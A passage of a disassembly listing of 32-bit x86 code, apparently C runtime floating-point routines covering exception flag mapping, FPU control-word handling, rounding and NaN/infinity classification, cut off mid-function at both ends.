		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_41C072:				; CODE XREF: sub_41C040+23j
		test	cl, 2
		jz	short loc_41C085
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_41C085:				; CODE XREF: sub_41C040+35j
		test	cl, bl
		jz	short loc_41C097
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_41C097:				; CODE XREF: sub_41C040+47j
		test	cl, 4
		jz	short loc_41C0AA
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_41C0AA:				; CODE XREF: sub_41C040+5Aj
		test	cl, 8
		jz	short loc_41C0BD
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_41C0BD:				; CODE XREF: sub_41C040+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_41C760
		test	al, bl
		jz	short loc_41C146
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_41C146:				; CODE XREF: sub_41C040+FDj
		test	al, 4
		jz	short loc_41C151
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_41C151:				; CODE XREF: sub_41C040+108j
		test	al, 8
		jz	short loc_41C15C
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_41C15C:				; CODE XREF: sub_41C040+113j
		test	al, 10h
		jz	short loc_41C166
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_41C166:				; CODE XREF: sub_41C040+11Ej
		test	al, 20h
		jz	short loc_41C170
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_41C170:				; CODE XREF: sub_41C040+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_41C1AF
		cmp	eax, 400h
		jz	short loc_41C1A1
		cmp	eax, 800h
		jz	short loc_41C195
		cmp	eax, ecx
		jnz	short loc_41C1B5
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_41C1B5
; ---------------------------------------------------------------------------


loc_41C195:				; CODE XREF: sub_41C040+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_41C1AB
; ---------------------------------------------------------------------------


loc_41C1A1:				; CODE XREF: sub_41C040+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_41C1AB:				; CODE XREF: sub_41C040+15Fj
		mov	[eax], ecx
		jmp	short loc_41C1B5
; ---------------------------------------------------------------------------


loc_41C1AF:				; CODE XREF: sub_41C040+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_41C1B5:				; CODE XREF: sub_41C040+14Bj
					; sub_41C040+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_41C1E0
		cmp	eax, 200h
		jz	short loc_41C1D3
		cmp	eax, ecx
		jnz	short loc_41C1ED
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_41C1ED
; ---------------------------------------------------------------------------


loc_41C1D3:				; CODE XREF: sub_41C040+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_41C1EB
; ---------------------------------------------------------------------------


loc_41C1E0:				; CODE XREF: sub_41C040+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_41C1EB:				; CODE XREF: sub_41C040+19Ej
		mov	[eax], ecx


loc_41C1ED:				; CODE XREF: sub_41C040+189j
					; sub_41C040+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_41C76E
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		nop
		call	near ptr 2880000h
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_41C267
		and	dword ptr [esi], 0FFFFFFFEh


loc_41C267:				; CODE XREF: sub_41C040+222j
		test	byte ptr [eax+8], 8
		jz	short loc_41C270
		and	dword ptr [esi], 0FFFFFFFBh


loc_41C270:				; CODE XREF: sub_41C040+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_41C279
		and	dword ptr [esi], 0FFFFFFF7h


loc_41C279:				; CODE XREF: sub_41C040+234j
		test	byte ptr [eax+8], 2
		jz	short loc_41C282
		and	dword ptr [esi], 0FFFFFFEFh


loc_41C282:				; CODE XREF: sub_41C040+23Dj
		test	[eax+8], bl
		jz	short loc_41C28A
		and	dword ptr [esi], 0FFFFFFDFh


loc_41C28A:				; CODE XREF: sub_41C040+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_41C2BE
		dec	ecx
		jz	short loc_41C2B2
		dec	ecx
		jz	short loc_41C2A8
		dec	ecx
		jnz	short loc_41C2C0
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_41C2C0
; ---------------------------------------------------------------------------


loc_41C2A8:				; CODE XREF: sub_41C040+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_41C2BA
; ---------------------------------------------------------------------------


loc_41C2B2:				; CODE XREF: sub_41C040+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_41C2BA:				; CODE XREF: sub_41C040+270j
		mov	[esi], ecx
		jmp	short loc_41C2C0
; ---------------------------------------------------------------------------


loc_41C2BE:				; CODE XREF: sub_41C040+257j
		and	[esi], edx


loc_41C2C0:				; CODE XREF: sub_41C040+260j
					; sub_41C040+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_41C2E0
		dec	ecx
		jz	short loc_41C2D7
		dec	ecx
		jnz	short loc_41C2E9
		and	[esi], edx
		jmp	short loc_41C2E9
; ---------------------------------------------------------------------------


loc_41C2D7:				; CODE XREF: sub_41C040+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_41C2E7
; ---------------------------------------------------------------------------


loc_41C2E0:				; CODE XREF: sub_41C040+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_41C2E7:				; CODE XREF: sub_41C040+29Ej
		mov	[esi], ecx


loc_41C2E9:				; CODE XREF: sub_41C040+291j
					; sub_41C040+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41C040	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C2F3	proc near		; CODE XREF: sub_41BFA8+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_41C31E
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_41C31E
		push	ebx
		call	sub_41C7A0
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_41C4E8
; ---------------------------------------------------------------------------


loc_41C31E:				; CODE XREF: sub_41C2F3+15j
					; sub_41C2F3+1Aj
		test	al, 4
		jz	short loc_41C338
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_41C338
		push	4
		call	sub_41C7A0
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_41C4E8
; ---------------------------------------------------------------------------


loc_41C338:				; CODE XREF: sub_41C2F3+2Dj
					; sub_41C2F3+33j
		test	al, bl
		jz	loc_41C412
		test	byte ptr [ebp+arg_8], 8
		jz	loc_41C412
		push	8
		call	sub_41C7A0
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_41C3EA
		cmp	ecx, 400h
		jz	short loc_41C3C2
		cmp	ecx, 800h
		jz	short loc_41C39A
		cmp	ecx, eax
		jnz	loc_41C40A
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_424818
		fld	dbl_435FA0
		fnstsw	ax
		sahf
		ja	short loc_41C392
		fchs


loc_41C392:				; CODE XREF: sub_41C2F3+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41C408
; ---------------------------------------------------------------------------


loc_41C39A:				; CODE XREF: sub_41C2F3+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_424818
		fnstsw	ax
		sahf
		jbe	short loc_41C3B2
		fld	dbl_435F90
		jmp	short loc_41C3BA
; ---------------------------------------------------------------------------


loc_41C3B2:				; CODE XREF: sub_41C2F3+B5j
		fld	dbl_435FA0
		fchs


loc_41C3BA:				; CODE XREF: sub_41C2F3+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41C408
; ---------------------------------------------------------------------------


loc_41C3C2:				; CODE XREF: sub_41C2F3+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_424818
		fnstsw	ax
		sahf
		jbe	short loc_41C3DA
		fld	dbl_435FA0
		jmp	short loc_41C3E2
; ---------------------------------------------------------------------------


loc_41C3DA:				; CODE XREF: sub_41C2F3+DDj
		fld	dbl_435F90
		fchs


loc_41C3E2:				; CODE XREF: sub_41C2F3+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41C408
; ---------------------------------------------------------------------------


loc_41C3EA:				; CODE XREF: sub_41C2F3+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_424818
		fld	dbl_435F90
		fnstsw	ax
		sahf
		ja	short loc_41C402
		fchs


loc_41C402:				; CODE XREF: sub_41C2F3+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_41C408:				; CODE XREF: sub_41C2F3+A5j
					; sub_41C2F3+CDj ...
		fstp	qword ptr [ecx]


loc_41C40A:				; CODE XREF: sub_41C2F3+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_41C4E8
; ---------------------------------------------------------------------------


loc_41C412:				; CODE XREF: sub_41C2F3+47j
					; sub_41C2F3+51j
		test	al, 2
		jz	loc_41C4E8
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_41C4E8
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_41C42D
		mov	esi, ebx


loc_41C42D:				; CODE XREF: sub_41C2F3+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_424818
		fnstsw	ax
		sahf
		jz	loc_41C4D6
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_41C69F
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_41C478
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_41C4CC
; ---------------------------------------------------------------------------


loc_41C478:				; CODE XREF: sub_41C2F3+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_424818
		fnstsw	ax
		sahf
		jnb	short loc_41C48A
		mov	edx, ebx
		jmp	short loc_41C48C
; ---------------------------------------------------------------------------


loc_41C48A:				; CODE XREF: sub_41C2F3+191j
		xor	edx, edx


loc_41C48C:				; CODE XREF: sub_41C2F3+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_41C4C0
		sub	eax, ecx


loc_41C4A3:				; CODE XREF: sub_41C2F3+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_41C4AE
		test	esi, esi
		jnz	short loc_41C4AE
		mov	esi, ebx


loc_41C4AE:				; CODE XREF: sub_41C2F3+1B3j
					; sub_41C2F3+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_41C4BA
		or	byte ptr [ebp+var_C+3],	80h


loc_41C4BA:				; CODE XREF: sub_41C2F3+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_41C4A3


loc_41C4C0:				; CODE XREF: sub_41C2F3+1ACj
		test	edx, edx
		jz	short loc_41C4CC
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_41C4CC:				; CODE XREF: sub_41C2F3+183j
					; sub_41C2F3+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_41C4D8
; ---------------------------------------------------------------------------


loc_41C4D6:				; CODE XREF: sub_41C2F3+14Ej
		mov	esi, ebx


loc_41C4D8:				; CODE XREF: sub_41C2F3+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_41C4E5
		push	10h
		call	sub_41C7A0
		pop	ecx


loc_41C4E5:				; CODE XREF: sub_41C2F3+1E8j
		and	edi, 0FFFFFFFDh


loc_41C4E8:				; CODE XREF: sub_41C2F3+26j
					; sub_41C2F3+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_41C4FF
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_41C4FF
		push	20h
		call	sub_41C7A0
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_41C4FF:				; CODE XREF: sub_41C2F3+1F9j
					; sub_41C2F3+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_41C2F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C50A(int,int,int,int,int,int,double,int)

sub_41C50A	proc near		; CODE XREF: sub_41BF55+2Bp
					; sub_41BFA8+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_41C5B8
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_41C575
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_41C77D
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42017F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41C56F
		push	esi
		call	sub_41C592
		pop	ecx


loc_41C56F:				; CODE XREF: sub_41C50A+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_41C575:				; CODE XREF: sub_41C50A+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_41C77D
		push	[ebp+arg_0]
		call	sub_41C592
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_41C50A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C592	proc near		; CODE XREF: sub_41BFA8+7Dp
					; sub_41C50A+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_41C5AD
		jle	short locret_41C5B7
		cmp	eax, 3
		jg	short locret_41C5B7
		mov	dword_4CD9B4, 22h
		retn
; ---------------------------------------------------------------------------


loc_41C5AD:				; CODE XREF: sub_41C592+7j
		mov	dword_4CD9B4, 21h

locret_41C5B7:				; CODE XREF: sub_41C592+9j
					; sub_41C592+Ej
		retn
sub_41C592	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C5B8	proc near		; CODE XREF: sub_41C50A+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_435EB8


loc_41C5BF:				; CODE XREF: sub_41C5B8+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_41C5D5
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_435F90
		jl	short loc_41C5BF
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C5D5:				; CODE XREF: sub_41C5B8+Dj
		mov	eax, off_435EBC[ecx*8]
		retn
sub_41C5B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C5DD	proc near		; CODE XREF: sub_41BFA8+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_41C5E9
		push	5
		jmp	short loc_41C5FF
; ---------------------------------------------------------------------------


loc_41C5E9:				; CODE XREF: sub_41C5DD+6j
		test	al, 8
		jz	short loc_41C5F1
		push	1
		jmp	short loc_41C5FF
; ---------------------------------------------------------------------------


loc_41C5F1:				; CODE XREF: sub_41C5DD+Ej
		test	al, 4
		jz	short loc_41C5F9
		push	2
		jmp	short loc_41C5FF
; ---------------------------------------------------------------------------


loc_41C5F9:				; CODE XREF: sub_41C5DD+16j
		test	al, 1
		jz	short loc_41C601
		push	3


loc_41C5FF:				; CODE XREF: sub_41C5DD+Aj
					; sub_41C5DD+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41C601:				; CODE XREF: sub_41C5DD+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_41C5DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C60A(double)

sub_41C60A	proc near		; CODE XREF: sub_417CA4:loc_417D2Ap
					; sub_417DEB:loc_417E71p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_41C60A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C61C(double,int)

sub_41C61C	proc near		; CODE XREF: sub_41C69F+82p
					; sub_41C69F+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_41C61C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C645	proc near		; CODE XREF: sub_417CA4+31p
					; sub_417DEB+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_41C65C
		cmp	[ebp+arg_0], edx
		jnz	short loc_41C66E
		push	1
		jmp	short loc_41C698
; ---------------------------------------------------------------------------


loc_41C65C:				; CODE XREF: sub_41C645+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_41C66E
		cmp	[ebp+arg_0], edx
		jnz	short loc_41C66E
		push	2
		jmp	short loc_41C698
; ---------------------------------------------------------------------------


loc_41C66E:				; CODE XREF: sub_41C645+11j
					; sub_41C645+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_41C681
		push	3
		jmp	short loc_41C698
; ---------------------------------------------------------------------------


loc_41C681:				; CODE XREF: sub_41C645+36j
		cmp	cx, 7FF0h
		jnz	short loc_41C69B
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_41C696
		cmp	[ebp+arg_0], edx
		jz	short loc_41C69B


loc_41C696:				; CODE XREF: sub_41C645+4Aj
		push	4


loc_41C698:				; CODE XREF: sub_41C645+15j
					; sub_41C645+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41C69B:				; CODE XREF: sub_41C645+41j
					; sub_41C645+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_41C645	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C69F(double,int)

sub_41C69F	proc near		; CODE XREF: sub_41C2F3+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_424818
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_41C6BF
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_41C755
; ---------------------------------------------------------------------------


loc_41C6BF:				; CODE XREF: sub_41C69F+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_41C72E
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_41C6D7
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_41C72E


loc_41C6D7:				; CODE XREF: sub_41C69F+31j
		fld	[ebp+arg_0]
		fcomp	dbl_424818
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_41C6EF
		push	1
		pop	eax
		jmp	short loc_41C6F1
; ---------------------------------------------------------------------------


loc_41C6EF:				; CODE XREF: sub_41C69F+49j
		xor	eax, eax


loc_41C6F1:				; CODE XREF: sub_41C69F+4Ej
					; sub_41C69F+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_41C70A
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_41C704
		or	dword ptr [ebp+arg_0+4], 1


loc_41C704:				; CODE XREF: sub_41C69F+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_41C6F1
; ---------------------------------------------------------------------------


loc_41C70A:				; CODE XREF: sub_41C69F+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_41C718
		or	byte ptr [ebp+arg_0+7],	80h


loc_41C718:				; CODE XREF: sub_41C69F+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_41C61C
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_41C755
; ---------------------------------------------------------------------------


loc_41C72E:				; CODE XREF: sub_41C69F+28j
					; sub_41C69F+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_41C61C
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_41C755:				; CODE XREF: sub_41C69F+1Bj
					; sub_41C69F+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_41C69F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C760	proc near		; CODE XREF: sub_41C040+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_41C760	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C76E	proc near		; CODE XREF: sub_41C040+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_41C76E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C77D	proc near		; CODE XREF: sub_417CA4+13p
					; sub_417CA4+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_41C77D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C7A0	proc near		; CODE XREF: sub_41C2F3+1Dp
					; sub_41C2F3+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_41C7B7
		fld	tbyte_435FB8
		fistp	[ebp+arg_0]
		wait


loc_41C7B7:				; CODE XREF: sub_41C7A0+Bj
		test	cl, 8
		jz	short loc_41C7CC
		fstsw	ax
		fld	tbyte_435FB8
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_41C7CC:				; CODE XREF: sub_41C7A0+1Aj
		test	cl, 10h
		jz	short loc_41C7DB
		fld	tbyte_435FC4
		fstp	[ebp+var_8]
		wait


loc_41C7DB:				; CODE XREF: sub_41C7A0+2Fj
		test	cl, 4
		jz	short loc_41C7E9
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_41C7E9:				; CODE XREF: sub_41C7A0+3Ej
		test	cl, 20h
		jz	short locret_41C7F4
		fldpi
		fstp	[ebp+var_8]
		wait

locret_41C7F4:				; CODE XREF: sub_41C7A0+4Cj
		leave
		retn
sub_41C7A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C7F6	proc near		; CODE XREF: sub_417D73+Fp
		push	30000h
		push	10000h
		call	sub_4201B7
		pop	ecx
		pop	ecx
		retn
sub_41C7F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C808	proc near		; CODE XREF: sub_41C846:loc_41C86Aj

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_424828
		fstp	[ebp+var_8]
		fld	dbl_424820
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_4246A8
